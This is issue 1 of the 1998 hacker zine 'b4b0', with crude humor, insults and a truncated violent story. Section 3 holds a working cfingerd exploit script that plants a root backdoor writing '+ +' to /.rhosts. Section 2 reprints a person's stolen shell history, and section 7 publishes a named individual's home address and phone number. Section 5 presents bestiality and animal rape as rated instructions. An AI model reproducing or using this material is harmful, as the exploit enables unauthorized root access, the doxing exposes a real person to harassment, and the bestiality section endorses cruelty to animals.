      - -[ b4b0 (c) 1998 ]- -

    .`'`'`,: .'`'`'`.' .`'``:  .'`'`'`':
  .'    .` .'     .' .'   .':.'      .':
 d$$$$'  .$$$$$$$$. d$$$$` .$$$$$$$$.  :  +-+-+-+-+
 $$$$'   $$$$  $$$$ $$$$'  $$$$  $$$$  :  |b|4|b|0|
 d$$$.   $$$$  $$$$ $$$$.  $$$$  $$$$  :  +-+-+-+-+
 $$$$$b, ``~$ss$$$$ $$$$b. ``~$  $$$$  : [ (c) 1998 ]
 $$$$$$$$$$$b.`$$$$ $$$$$$$$$b.  $$$$  : [ w00pie!  ]
 $$$$$$$$$$$$$ $$$$ $$$$$$$$$$$  $$$$  : [ over 1 billion served ]
 $$$$$   $$$$$ $$$$ $$$$$   $$$  $$$$  .
 $$$$$$ss$$$$' $$$$ $$$$$$ss$$$  $$$$  :
 $$$$ $$$$$'s$ $$$`s$$$$ $$$$$'s$$$$'.':
   [ making life a bit more special ]/`

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

........[ issue # 001 ]
: :
[ ]=[ 1 ] you guessed it, an introduction.
: :
[ ]=[ 2 ] total bullshit (a.k.a. gripez, complaintz, and thee alike)
: :
[ ]=[ 3 ] journey in the enchanted forest!
: :  
[ ]=[ 4 ] deedles "yo mama" jokez (not a b4b0 sponsered product but we
: :				   put it in anyways due to lack of taste)	
[ ]=[ 5 ] SIFAORT (sexuality in farm animals and other related thingz)
: :
[ ]=[ 6 ] b4b0 adventurez elite
: :
[ ]=[ 7 ] d0x droppingz (whats a zine w/out dropping peoples infoz.)
: :
[ ]=[ 8 ] a story by dehp0ozy 
: :
[ ]=[ 9 ] defcon review by tEEp
: :
[ ]=[ 10 ] fin
:.:...

 .->[  the b4b0 st4ff  ]<-. 
 |                        |
 V                        $
[*] official keeper of all things that are small 
      +  ge0rge the elite gerbil
[x] organizer of all things that are in cgi-bin  	 
      +  phFh4ck3r 
[o] gardener of the b4b0 drug fields in Bogota, Columbia 
      +  r4lph m4lph    
[+] the one with the funk flow 			 	 
      + thE MiLk 
[z] tamer of wild amphibious goats wearing thong bikinis 
      + seegn4l
[%] pr0n archiver and mystical sheep herder  		 
      + l0hrdz
[i] an enigma in a camels hump 				 
      + ezzreallahteh
[+] pecker of eyes and burgl0r of turdz
      + tEEp
[!] eater of w0rlds and the enlarger of anus
      + dehp0ozy
[@] seller of smack and things dipped in honey
      + gR3-0p 
 V                        $ 
 |                        |
 `->[ end of b4b0 staff ]-' 
.,.,.,.,.,.
;shoutoutz;
`'`'`'`'`'`
any and every person who gets laid in the oval office, good looking irc
chicks (if any), our moms (hi mom!), the beastie boyz, the dalilama (y0
h0wz india?) plumbers (say 'no' to crack), chiXy and the rest of you UDDF
idiots, Timothy Leary (thankz again), african americans, Allah, all women
who get on confs, because we at b4b0 recognize that every horny fuck
(which includes ourselves) on the conf seems to try to get phone sex from
you we thank you for putting up w/our hormones. 

  -[ fuck yous ]- 
any domain with the word 'hack' in it, people who buy the "for dummies"
book series, packet warriorz, narkz, dalnet, undernets #hackphreak
(which technically is a #teen channel on dalnet), congressmen and women,
antionline.com, ircmostwanted.org, and any other fucking queer domainz,
all people who grep for 'cut here' in text files, and lastly, kenneth
starr (drop yur investigation, b. clinton iz a straight pimp. dont
disrespekt).

- b4b0's international drink :  vodka w/a slice of lemon
- b4b0's official enemies    :  silitek, Coolio, the chinese government
			        (free tibet you fucking bastards) 
- b4b0's official spokesman  :  THE F0NZ 
- b4b0's international house of pancakes outpost    :  Outpost #152,
						       Berlin, Germany
- Official enforcer of b4b0's will and wayz  : Ross Perot's goons (word!)   
- b4b0's song(s) of work and joy : zoot suit riot (cherry poppin' daddies)
			           intergalactic planetary (beastie boys)


Official Idiot Of the Month 	: silitek of #phrack  
				  (!congratulationz!)

-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! 
.x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x
| editorz intr0 |
`x- -x- -x- -x-/' 
  
hi. i am your editor, ge0rge, here to protect and serve, and yes, b4b0 iz
good to the last drop. Bringing you probably the most el8 shit around,
b4b0 is here, possibly forever (or till one of us gets sober). We only
have one policy here, and thats 'its not our fucking fault you did
something because of this publication, dumb shits.' take this policy to
heart. aside from that, this zine ought to fucking own because we have
alcohol, porn, and a pack of condemz.. so i estimate, overall, this ought
to be an enjoyable experience for not only me, but you too (yes YOU!). 
Anyways, have a nice day and remember, only you can prevent forest fires.

.ge0rge - the almighty edit0r
   

       
   
 
 
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x


- -[1] thats right, an introduction the the b4b0 zine. ]- -
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


*b4b0 -[ pronounced	] " bah-boh "
*b4b0 -[ known origins	] first created in american laboratories in 1944 to
                          defeat the nazi super power, but soon after war 
 			  ended, it became a very valuable janitorial cleaning
			  substance.
*b4b0 -[ monthly slogan(s) ] 
                      b4b0: good to the last drop!
                      b4b0: here to protect and serve.
                      b4b0: come to where the flavor is
                      b4b0: the next generation of wheaties champions
*b4b0 -[ warnings	] 
      
      SURGEON GENERAL'S WARNING: Quitting b4b0 Now Greatly Reduces Serious  
      Risks To Your Health                                                  
 
      SURGEON GENERAL'S WARNING: b4b0 Read By Pregnant Women May Result In 
      Fetal Injury, Premature Birth, and Low Birth Weight.                

      WARNING: THIS PRODUCT MAY CAUSE GUM DISEASE AND TOOTH LOSS
       
      BY READING THIS PRODUCT YOU CONSENT TO READING AN 'AS IS' PRODUCT. NO
      GUARENTEES OF THIS PRODUCT ARE PROVIDED.

*b4b0 -[ other 		] 

   3. JANITORIAL SUPPLIES
          [URL: www.hiline.net/~alayton/97-93.htm]
          JANITORIAL SUPPLIES - Edinburg CISD. 5/97 THRU 12/97 For
          Further Information contact Dina Escamilla, Purchasing
          Department, at 956-316-7200, ext. 222 or...
          Last modified 20-Aug-97 - page size 17K - in English [
          Translate ]

    485-20-36040-4  650     BID 97-93                             12.21/CASE
          CHLORINATED CLEANSING POWDER, ABRASIVE TYPE
          SCOURING CLEANER, 24/21 OZ. PER CASE, BAB-O,
          06906-2421

     
$ man b4b0

B4B0(1) 		UNIX Drunken Admin Guide		B4B0(1)

NAME
     b4b0 -  b4b0 zine / cleaner.

SYNOPSIS
     b4b0 -  No information available due to lack of sobriety.

DESCRIPTION
     b4b0 is two things, which makes them especialy dangerous to your system
     but very fun if you enjoy things such as alcohol, intake, and intake of
     alcohol. If taken in large amounts, it can cause serious risks to your
     health. 

FILES
     /etc/b4b0

SEE ALSO         
     DRUGS, DRUG USAGE, shutdown(8), death(1), k-radfuqneliteness(2)

AUTHOR
     Original author(s) of b4b0 are still on the run from authorities. If
     spotted, contact your local federal law enforcement agencies.
:q

$ whatis b4b0
b4b0: nothing appropriate
line 1/1 (END)
$ whereis b4b0
b4b0: /b4b0 /usr/man/b4b0.1 /bin/b4b0 /usr/bin/b4b0 /usr/pr0n/b4b0
$

** irc smack **
<ge0rge> so what do you guys think of b4b0! the el8est shit out there!
<hb0mb> b4b0?
<ge0rge> yeah b4b0!
<jd> i dont have it!
[hb0mb(hydrogen_b@cx51441-a.lncln1.ri.home.com)] what is b4b0?
<jd> but i hear its neet!
<ge0rge> some would say that b4b0 is eliter than viagra
<ge0rge> would you agreE?!
<jsbach_> hahah
<jd> it gets me hard
<jd> just thinkin about it
<ge0rge> if b4b0 was a small animal, what would you do with it?
<jd> give it to rloxely for him to have seckz with
<ge0rge> if b4b0 was a drug, which bodily orfice would you put it in?
<hb0mb> I think i'll be leaving now...

** session 2 **
<ge0rge> what do you think about b4b0!
<ge0rge> ?
<sewid> whos that?
<ge0rge> you know, b4b0!
<sewid> nope =(
<ge0rge> c0me on, you know, b4b0!
<sewid> well
<sewid> No I dont.
<su1d> I DO!!!!!!!!
<ge0rge> Ok, well if you did, would you give oral sex to members of b4b0
         or b4b0 and thee alike?
<sewid> HEH

!b4b0-IRC-qu0tez!
1 <broken-> t34m b4b0 0wnz
2 <broken-> 1 l0v3 t34m b4b0
3 <qdial> t34m b4b0 0wnz j00 br0k3n~
4 <broken-> t34m b4b0 ownz d4 w0rld
5 <tip> b4b0 0wns j00
6 >>> broken- has changed the topic on channel #2600 to: b0w t0 b4b0!
7 Topic for #legions: b4b0: quilted soft, not like those flat-as-a-pancake
  paper towells
  

- -[2] some idiot named JP [a total bullshit profile] ]- -
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Media whores. 


	Publicity is the name of the game. I just had to add
JP@antionline.com in this section because what he does is total bullshit.
He gives publicity to people who change html on sites, gives fame to those
who crack senstitive sites, but yet disapproves of the 'evil cracker.' 
	JP, as you probably know, runs that loser script kiddie site known
as www.antionline.com. It is funny however, how he preaches on the matter
of computer security, yet knows nothing of the sort other than what he
seen off a movie (we won't say which, you figure it out). But, the most
contraversial thing is how on one side he talks about how stopping the
evil cracker, but yet on his site, he releases full source to "exploits"
which give any idiot with compilation knowledge the ability to gain
unauthorized access / unauthorized priveledges to a system. Sure sure,
i'll agree that security through obscurity is futile, but security through
distribution of full source code to every idiot on the planet sure isn't
security. Oh, but wait, exploits are what get the hits right? 
  
To prove b4b0z point, here iz some docz. 

- -[ START JP WAREZ ]- -
- -[ thankz to whomever for providing JP's history file. ]- -

/* jp bash_history - commented by _mind with a little help from floydy */
/* i've noticed that his ~ is not world executable any more */

pine
ls
cd public_html
ls
cd ..                   /* ls public_html/ is too hard */
ls
cd Yakko
ls
pine
ls
cd ..
ls
pine
fs
./fs
fs -lq
ls
cd mbox                         /* ENOTDIR */
cd mail
ls
cd sent-mail
rm sent-mail
cd ..
ls
rm pine.core
pine
mail
ls
cd /var/mail/jp                 /* ENOTDIR, not EAGAIN */
cat /var/mail/jp |more
pico /var/mail/jp |more         /* ncurses doesn't handle pipes too well */
cat usr/var/jp                  /* i'm competent, really */
pine
cat /usr/var/mail/jp
cat /var/mail/jp
touch /var/mail/jp
cat /var/mail/jp
ls
rm /var/mail/jp
touch jp
mv jp /var/mail/jp              /* apparently touch only works in the pwd */
rm jp                           /* who did (cd /bin;ln -sf cp mv) ? */
cat /var/mail/jp
pine
cat /var/mail/jp
del
rm /var/mail/jp
./eggdrop Yakko                 /* i could program my own bot if i knew how! */
pwd                             /* some day, ill learn how to set my prompt */
cd Yakko
./eggdrop Yakko
./eggdrop wakko                 /* doh, unix IS case sensitive */
./eggdrop Wakko
./eggdrop Dot
./eggdrop Dot
./eggdrop Wakko
./eggdrop Yakko
./eggdrop Wakko                 /* fault tolerant eggdrops ... i am so good */
./eggdrop Dot
cd Yakko
./eggdrop Yakko
./eggdrop Wakko
./eggdrop Dot
cd Yakko
./eggdrop Yakko
./eggdrop dot
./eggdrop Wakko
./eggdrop Dot
ls
pine
perl winnuke.pl                 /* im eleet */
pico /var/usr/jp
cat /var/usr/jp
pico usr/var/jp                 /* pico is easier than vi */
pine
pico /var/mail/jp
pico /var/mail/jp
pico /var/mail/jp
pico /var/mail/jp
pico /var/mail/jp
pico /var/mail/jp
pico /var/mail/jp
pico
pine
cd Yakko
cd Yakko
./eggdrop Wakko
ssh cyclone.lazerlink.net       /* telnet over the internet into a ssh */
ssh cyclone.lazerlink.net       /* over a lan helps security a lot */
ssh cyclone.lazerlink.net
cd Yakko
./eggdrop Dot
cd Yakko
./eggdrop wakko
./eggdrop Wakko
./eggdrop Yakko
./eggdrop wakko
./eggdrop Wakko
./eggdrop dot
./eggdrop Dot
cd Yakko
./eggdrop Wakko
./eggdrop Wakko
cd Yakko
./eggdrop Wakko
./eggdrop Yakko
./eggdrop Wakko
./eggdrop Dot
ps
cd Yakko
./eggdrop Wakko
man bitchx                      /* hey, this looks better than mirc */
domain                          /* people will respect me because of my domain
*/
bitchx -h
bitchx -h shell.antionline.net  /* especially with this great domain */
./bitchx -H shell.antionline.net
bitchx
/                               /* trying to run / again. tsk tsk tsk */
clear                           /* i'm going to delete your hard drive */
bitchx -H shell.antionline.net
clear
ps
ps
kill -9 19487                   /* time to take out some agression */
kill -9 19496
kill -9 19632
./eggdrop Yakko
cd Yakko
./eggdrop Yakko
./eggdrop Wakko
./eggdrop Dot
ssh cyclone.lazerlink.net
ssh cyclone.lazerlink.net
ssh cyclone.lazerlink.net
telnet cyclone.lazerlink.net
pine
y                               /* why not ? */
pine
pine
pin3e                           /* aww, bash doesn't interpret 3l33tsp33k */
pine
pine
pine
pine
pine
pine
pine
telnet cyclone.lazerlink.net    /* ugh, i've got to enter my password with */
ssh cyclone.lazerlink.net       /* telnet, let's not use it in the future */
pine
pine
pine
pine
pine
pine
pine
whois http://neworder.box.sk/cgi-bin/marek/box/box?act=2&prj=neworder&gfx=newor
der&srch=antionline&fil=*&lan=e
                                /* i'm smart */
whois narber.net
whois narber.com
ssh cyclone.lazerlink.net       /* yay for domain search order */
ssh cyclone.lazerlink.net
ssh cyclone.lazerlink.net
ssh cyclone.lazerlink.net
ssh cyclone.lazerlink.net
ssh cyclone.lazerlink.net
ssh cyclone.lazerlink.net
cd Yakko
./eggdrop Yakko
./eggdrop Wakko
./eggdrop Dot
whois newjackcity
whois netjackcity.net           /* maybe this is a new kiddie porn site */
ssh cyclone.lazerlink.net
ssh Cyclone.lazerlink.net
ssh cyclone.lazerlink.net
ssh cyclone.lazerlink.net
cd com/jpaccesswatch
ssh cyclone.lazerlink.net
ssh cyclone.lazerlink.net
ssh cyclone.lazerlink.net?
ssh cyclone.lazerlink.net
cd Yakko
./eggdrop Yakko
./eggdrop Wakko
./eggdrop Dot
ssh cyclone.lazerlink.net
cd Yakko
./eggdrop Wakko
cd Yakko
./eggdrop Dot
ssh cyclone.lazerlink.net
ssh cyclone.lazerlink.net
telnet cyclone.lazerlink.net
ssh cyclone.lazerlink.net
ssh www.antionline.com
ssh www.antionline.com
ps
cd Yakko
cd P
ls
cd passwords4web/               /* it's a good idea to store your */
cat Vertig0                     /* passwords on other systems in plaintext */
cat vertig0                     /* i have a good memory */
cat Vertigo
ls
ls V*
cat Vertig0.txt
ssh cyclone.lazerlink.net
ssh www.antionline.com
ssh www.antionline.com
ps
ssh cyclone.lazerlink.net
ssh www.antionline.com
ssh shell.antionline.net
ssh www.antionline.com
ssh www.antionline.com
ssh www.antionline.com
ssh cyclone.lazerlink.net
ssh www.antionline.com
ssh www.antionline.com
ssh www.antionline.com
ssh www.antionline.com
ssh cyclone.lazerlink.net
ssh www.antionline.com
ssh www.antionlien.com
ssh www.antionline.com
ssh www.antionline.com
ssh www.antionline.com
ssh cyclone.lazerlink.net
ssh www.antionline.com
ssh www.antionline.com
telnet www.antionline.com
ssh www.antionline.com
ssh www.antionline.net
ssh www.antionline.com
ssh www.antionline.com
ssh www.antionline.com
ssh www.antionline.com
ssh www.antionline.com
cd com/jpaccesswatch            /* ugh, where did i put 0day windows98? */
ssh www.antionline.com
pine
pine
pine
who
ssh www.antionline.com
cd Yakko
./eggdrop Yakko
ps
kill -9 7928
pine
pine
clear                           /* uh oh, mom is coming down the hall */
who
ps
logout                          /* time to get dressed and go to school */
ssh www.antionline.com
./bitchx -h antionline.net
bitchx
bitchx -H shell.antionline.net
ls
ls -a
cat .BitchX
cat .BitchX
/clear                          /* since when are commands stored there? */
clear
ls -a
bitchx -h
bitchx -H shell.antionline.net
ls
who\                            /* i feel like i'm in dos or something */
who
bitchx -H shell.antionline.net
bitchx -H shell.antionline.net
pine
cd Yakko
./eggdrop Yakko
bitchx -H shell.antionline.net  /* bitchx r00lz */
ps
kill -9 13616
cd Yakko
./eggdrop Yakko
ps
kill -9 3911
cd Yakko
./eggdrop Yakko
ps
kill -9 2746
cd Yakko
./eggdrop Yakko
ps
kill -9 20207
ls
cd Yakko
./eggdrop Yakko
cd Yakko
./eggdrop Wakko
crontab -e
w
top
exit
clear
host -l itsi.disa.mil           /* hey, i learned a new command */
host -l disa.mil
host -l antionline.com
nslookup storm.disa.mil         /* ditto */
host -l itsi.disa.mil
nslookup whitehouse.gov
nlsookup 198.137.241.1
nslookup 198.137.241.1          /* look, i'm hacking government sites */
whois eop.gov
nslookup 198.137.241.52         /* i hope i do not get caught stealing this */
nslookup 198.137.241.50         /* sensitive information */
nslookup 198.137.242.1
nslookup disa.mil               /* i'm being like the MOD */
nslookup www.disa.mil           /* i'm glad i've got a lazerlink account */
whois shellz.net                /* because windows can't do this */

- -[ END JP WAREZ. ]- -

"UNIX For Dummies" hasn't helped out much there JP.  


   This Week's MailBag
   Wednesday 4:15am, July 22, 1998
   It's late, but it's here. Our weekly
   mailbag gives you the opportunity
   to ask questions, and make comments.
   See what other people are saying
   about current security issues.

It says "gives you the opportunity to ask questions, and make comments"
but yet all the mail b4b0 has sent in has not been in the 'mailbag.' But
then again, what doesn't approve of antionline.com doesn't go up now does
it? Censorship is bad he says, but yet he censors the mail.

funny isn't it.


-[3] enchanted forest]- - 
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


while walking through the enchanted forest you find ....

-*> ZERO DAY KODEZ!@#$ <*-

n0Rmally, Such gay_juarez w0uld n0t b3 rele4seD -H0WEVER seeing az
this iz the first issue 0f b4b0!(tm) we are legally 0bliged to pr0vide
s0me sort of script for the needz of idiotz like so1o. s0 enjoy! 
(PS: IF YOU REALLY NEED THIS SCRIPT YOU HAVE SERIOUS ISSUES TO DEAL WITH)

#!/bin/sh 
# T E 4 M B 4 B 0 (tm)  
# specify what you need. if you can't do
# the cfingerd vulnerability to put + + rhosts. 
# have fun !
#
# b4b0!

CC=/FILL/THIS/SHMACK/IN/YOU/FUCKING/IDIOT 
FILE=THISTOOMORON

echo "increasing your script kiddie career times 4!"
echo "w0rd to b4b0! h0h0h0"
echo "b4b0 developementz (c) 1998 [you rip, we castrate]"

cat <<_b4b0_> tmp.c 
#include <stdio.h>
int main(void) 
{
  setreuid(0, 0);
  system("/bin/echo + + > /.rhosts");
}
_b4b0_

$CC tmp.c -o $FILE
rm -rf tmp.c

     echo '$exec '$PWD/$FILE > ~/.project

echo "fingering for a better tomorrow.."
     finger `whoami`@127.0.0.1 2&> /dev/null

echo "done (-hopefully-)"
echo "have fun -b4b0!"
# rsh 127.0.0.1 -l root /bin/sh -i
# shm4ck!
--STOP CUTTING YOU FUCKING IDIOT--

you thank the gods of b4b0, and continue your journey into the enchanted
forest.. 
   
-[4] y0 mama jokez by deedle! (erm, dont ask)]- -   
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Yo mama's so old when i told her to act her age, the bitch droped dead!
Yo mama has 1 eye and 1 leg and works at IHOP
Yo mama's like a toyota O WHAT A FEELING!
Yo mama's arm pitts are so hairy it looks like she has don king in a head
lock.
Yo mama's so stupid she got fired from the m&m company for throwing away
W's. h0h0h0
Yo mama's so fat when she broke her leg gravy started to poor out.
Yo mama's so fat her blood type is rocky road with double fudge.
Yo mama's so fat she uses the vcr as a pager.
Yo mama's ass is so big she's taller sitting down!
Yo mama's so old she coughz mummy dust
Yo mama's so old she has jesus's phone #
Yo mama's so stupid she thought a quarter back was a refund
Yo mama's legs are so hairy when you were born the doctors had to take you
to the emergency room for 3rd degree rugburn
Yo mama's pussy's so dry the crabs carry cantines.
Have you ever heard of the old woman who lived in a shoe?
Well yo mama's so poor she lived in a flip flop!
Yo mama's so fat she uses the interstate as a slip and slide.

- -[5] SIFORT : Sexuality In Farm Animals and Other Related Things ]- -
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

This is the first b4b0 sponsered "Sexuality In Farm Animals and Other
Related Things"  ( SIFAORT ) by the b4b0 staff. We have made a rating
system. observe. 

   -5  -4  -3  -2  -1   0   1   2   3   4   5   6   7   8   9   10
    |  	|   |   |   |   |   |   |   |   |   |   |   |   |   |   | 
    [ SEE BELOW     ]   [  BAD   ] [     OK     ]   [ DAMN GOOD ]
     |                                       
    if the rating is
    within these numbers
    it is recommended that
    you D0 N0T stick yur wang
    in that shit.

Use this rating scale while reading this compact article of the SIFAORT.      

Thankz.


--  
           .sssssssssssss.
        .dS$$$$$$$$$$$$$$$b.
       d$$$"`          `"$$$b   NOTE: THIS PICTURE DOES NOT INCLUDE
       $$$       __       $$$         TAIL. ANOTHER DIFFICULTY.
       `$$$     [__]      $$$' 
         `~$SS   $$    SS$~'
             $$  $$   $$
              $   $   $
              :   :   :
              :   :   :      
#1 HORSE:
difficulty	: expert
risk      	: tons
pleasure	: 10 on b4b0 scale.
background	: screwing horses, started off as an amish tradition. Seeing
  		  how amish people have more strength than normal human beings
		  and that horses can't talk (cept for mister ed), the horse
		  was / is the best source of sin / pleasure for the amish
		  people. Due to the horse waking up and getting pissed off
		  because your penis is in its anus and kicking you in your 
		  chest w/5000 pounds of force, this type of pleasure is for
		  experts ONLY. novices, stick to lower farm animals and
		  house hold pets.

--
            .ssssssssssssssss.
         .dS$$$$$$$$$$$$$$$$$$Sb.
        $$$$P~'`          `'~Z$$$$   NOTE: THIS PICTURE TAKEN BY NASA
        `$$'                  `$$'         SATELLITES. MACHINE CRACKED
         `$.        __       .$'	   BY EL8 H1J4CK1NG SK1LLS. 
           `$      (__)      $'
	     $      $$      $
             $       $      $  
             :       :      :
              	      
#2 CAROL MEINAL
difficulty	: advanced
pleasure	: -5
background	: one word, sick. if you are willing to give this nasty
		  shit a go, check into a hospital, cuz you got problemz. 
		  Carol Meinals anus first discovered by explorers of the
		  spanish inquisition. The natives called it "aboobajama", 
		  meaning "thing who sucks in all" but the spanish called it
		  "anos de diablo." Be afraid, be very afraid.

--
                .ssssss.
            .sdSSSSSSSSSSbs.        NOTE: tail not pictured.
           $SS"`       '"SS$        
            `$    [o]    $'   
              `$   :    $'
               `$  .   $'   

#3 Your Neighbors cat.
difficulty 	: novice
pleasure	: 7 (depending on how much you hate/want cat)
background	: The cat has a lot of defenses against such rape attacks
		  i.e. claws, teath. It is highly recommended that the
		  cat is either knocked out or tied down securely. It is
		  a good tool for revenge, nothing scares the neighbors more
                  or pisses them off more than a cat with a humongous anus.


--
           .d$$$b.     NOTE: TAIL NOT PICTURED.
           $$[.]$$
           `:' `:'

#4 New York Street Rats
difficulty	: novice
pleasure	: 5
background	: fierce, rabid, but very doable. Take caution because the rats
		  DO have claws and teeth, so like the cat, you must either 
		  knock it out, or take the necessary precautions to do it 
		  properly. (information provided by emmanuel goldstein of
			    2600 magazine (c) thankz from b4b0)
   

--
	 .d$$$$$$$$b. 
         $$'   _  `$$     
         `$   (_)  $'
          `$   $  $'
            $  : $

#5 Domestic Farm Pig. (also referred to as 'hog')
difficulty	: beginner
pleasure	: 6
background	: The south is where you'll primarily see alot of this type
		  of sexual molestation. A good ride for the beginner, easy
		  source of pleasure because the pig does not fight back
		  hardly at all. No real warnings. Truly, the other white
		  meat.
                  

Welp, that ends it for now, stay tuned for the next article, on "Sexuality
In Farm Animals and Other Related Things." Until next time!       

-[6] super adventures of the b4b0 SUPER N1NJAZ ]- -
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!4b0!b4b0!b4b0!b4b0
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b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!4b0!b4b0!b4b0!b4b0
!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b
0!b4b0!b4b0!b4b0!b4b0| b4b0z great adventure log  |4b0!b4b0!b4b0!b4b0!b4b0!b4b
b4b0!b4b0!b4b0!b4b0!b|         VOLUME I           |b4b0!b4b0!b4b0!b4b0!b4b0!b4
b0!b4b0!b4b0!b4b0!b4b|                            |!b4b0!b4b0!b4b0!b4b0!b4b0!b
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!4b0!b4b0!b4b0!b4b0
!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b

                  Politicial and Marital Assassination 
           
                                  
                            

$ script shit_to_send_to_national_inquirer
Script started, file is shit_to_send_to_national_inquirer                    
$ telnet whitehouse.gov
Trying 198.137.241.30...
Connected to whitehouse.gov.
Escape character is '^]'.
# id                            /* fEAR! */              
uid=0(root) gid=1 (system)
# grep clinton /etc/passwd
bclinton:x:100:10:Bill Clinton:/home/bclinton:/bin/sh
hclinton:x:101:10:Hillary Clinton:/home/hclinton:/bin/sh
# cd /home/bclinton
# ls -la
MONICA-1.GIF
JFLOWERS.JPG
LegalCourtDocuments.TXT
Evidence/
Legal/
Sex/
bin/
tools/
# ls -la | grep Sex
drwx------   2 bclinton     bclinton        32768 Jul  3 01:50 Sex/
# cd Sex
# ls -la
MONICA-001.GIF
MONICA-002.GIF
MONICA-003.GIF
MONICA-004.GIF
MONICA-069.GIF
MONICA-ONTABLE.GIF
Old/
# ls -la | grep Old
drwx------   2  bclinton     bclinton        32768 Jul  3 01:50 Old/
# cd Old
# ls -la
JFlower-01.JPG
JFlower-02.JPG
JFlower-03.JPG
JFlower-04.JPG
JFlower-05.JPG
JFlower-06.JPG
JFlower-07.JPG
JFlower-08.JPG
JFlower-09.JPG
JFlower-10.JPG
Case/
Documentation/
Consent/
# cd ..
# who
root  		tty1
narc		tty2
kstarr		tty3
hclinton	tty4
# finger narc
Login name: narc                        In real life: ??????
Directory: /home/narc                   Shell: /bin/sh
Last login Wed Aug  7 02:03 on ttyp4 from 2600.com
No unread mail
No plan as of yet.
# whoami
root
# pwd
/home/bclinton
# cd ..
# su bclinton
#honey you aren't looking at 
those nasty pictures again are you?
#  /* HOLY SHIT IM CAUGHT */
# killall -9 -1
Connection Closed By Foreign Host 
$ exit
exit
Script done, file is shit_to_send_to_national_inquirer
$  
 

 
-[7] silitekz inf0z & d0x! - prym ]- -
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

                           silitek
                            |||||
                         vvvvvvvvvvvv
  	-->>		 Wesley Walsh                        <<--
	==>>		 dad's name Joseph Walsh             <<==
	-->>		 717-622-3734                        <<--
	==>>		 503 Greenwood Avenue                <<==
                         ^^^^^^^^^^^^
                       
    717-622-3734 717-622-3734 717          717           717-622
    717     3734 717     3734 717          717           717-622
    717     3734 717-622-3734 717          717           717-622
    717          717     3734 717          717           717-622
    717     3734 717     3734 717          717          
    717     3734 717     3734 717-622-3734 717-622-3734  717-622
    717-622-3734 717     3734 717-622-3734 717-622-3734  717-622
 
                       ph0r phree ph0ne sex!@ 

[ b4b0 sayz fear the d0x b4by. silitekz '@' in #phrack meanz shit now
doesn't it? ]

-[8] a bed time story - dehp0ozy ]-
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

"THE HUNT" by dehp0ozy

        I slowly sank into the pool of mud as I pulled my large knife
with a razor sharp, serrated blade out of its sheath.  I scanned my
surroundings with enhanced senses tweaked by adrenaline pumping
through my veins.  A sharp sound caught my ear, a devious grin
appeared on my face.  I recognized the sound of twigs being crushed
50 meters away from me.  My heart started to pump faster and faster.
 	I climbed out of the pool of mud and headed toward the sound. I 
discovered the sad thing hiding behind a bush looking for me.  i hid
behind a large oak tree 5 meters behind him and waited until he got
up.

        Ten minutes later, he cautiously got up from his hiding
place.  I could hear the cracking in his knees.  He was ambushed by
me as a lion would be ambushed by a lion.  The muffled screams could
be heard as i had my hand around his mouth.  His kicks and punched
were futile, they only enraged me ever more.  He was hog-tied and
dragged to my cabin a quarter mile away.  Wolves would be heard
howling, owls could be heard hooting, and hunters could be heard
hunting.  I smiled to myself and thought, 'what an easy catch.'
        When we arrived at my cabin, i threw him into the corner.  I
took another look at my 'trophy'.  His face was torn up by the
scratching of twigs as he ran throught he woods, while trying to
evade me.  after i went to my bedroom to take off my boots, i decided
to take a shower.  To my surprise, when i  left the bathroom i
noticed that my catch had fled.  I could sense that he was still
